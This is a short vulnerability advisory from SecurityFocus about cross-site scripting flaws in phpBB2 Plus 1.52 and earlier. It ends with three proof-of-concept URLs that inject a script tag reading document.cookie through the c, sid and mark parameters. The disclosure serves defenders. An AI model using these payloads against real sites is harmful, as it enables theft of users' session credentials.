source: http://www.securityfocus.com/bid/13150/info

phpBB2 Plus is affected by multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

These issues affect phpBB2 Plus version 1.52 and earlier. 

http://www.example.com/index.php?c=1&amp%3bsid='%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
http://www.example.com/index.php?c='%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E&amp%3bsid=5e4b2554e73f8ca07f348b5f68c85217
http://www.example.com/index.php?mark='%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E&amp%3bsid=5e4b2554e73f8ca07f348b5f68c85217